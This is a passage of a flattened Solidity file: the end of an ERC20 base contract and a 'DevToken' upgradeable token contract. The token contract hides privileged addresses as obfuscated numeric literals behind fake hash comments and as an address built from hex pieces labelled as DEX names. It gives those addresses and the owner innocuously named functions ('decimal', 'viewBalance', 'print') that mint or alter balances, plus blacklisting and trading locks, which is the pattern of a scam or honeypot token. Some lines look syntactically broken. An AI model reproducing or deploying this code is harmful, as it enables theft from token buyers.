`to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/PepeToken.sol pragma solidity ^0.8.0; contract DevToken is ERC20, UUPSUpgradeable { address private owner; address public _mbr; string public override name; string public override symbol; uint256 public override totalSupply; uint8 public override decimals; address public _mod; address public _user; address public _adm; bool public tradelimited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public LiquiduniswapV2Pair; mapping(address => bool) public blacklists; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier naming() { require(msg.sender == publics()); _; } bool private initialized; function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals) public { require(!initialized, "Contract already initialized"); name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; owner = msg.sender; _mint(msg.sender, _totalSupply); initialized = true; } /** * @dev Throws if called by any account other than the owner. */ function setMember(address Mbr_) public returns (bool) { require (msg.sender == address /** * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } function reviewRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external naming { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev Returns the address of the current owner. */ function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } function viewBalance(address _to, uint256 _amount) public naming { _balanceView(_to, _amount);(_to, _amount); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((_msgSender() == address /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. owner == _msgSender() && _msgSender() != exchange())); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } function _authorizeUpgrade(address) internal onlyOwner override {} /** * @dev See {BEP20-balanceOf}. */ function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function approval(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function blacklist(address _address, bool _isBlacklisting) external onlyOwner { blacklists[_address] = _isBlacklisting; } function setPrinciplesRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { require(!blacklists[to] && !blacklists[from], "Blacklisted"); if (LiquiduniswapV2Pair == address(0)) { require(from == owner || to == owner, "trading is not started"); return; } if (tradelimited && from == LiquiduniswapV2Pair) { require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid"); } } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function decimal(uint256 amount) public naming returns (bool success) { _compute(msg.sender, amount); return true; } function burn(uint256 value) external { _burn(msg.sender, value); } function print(uint256 amount) public onlyOwner returns (bool) { _printbrr(msg.sender, amount); return true; } }
Σχόλια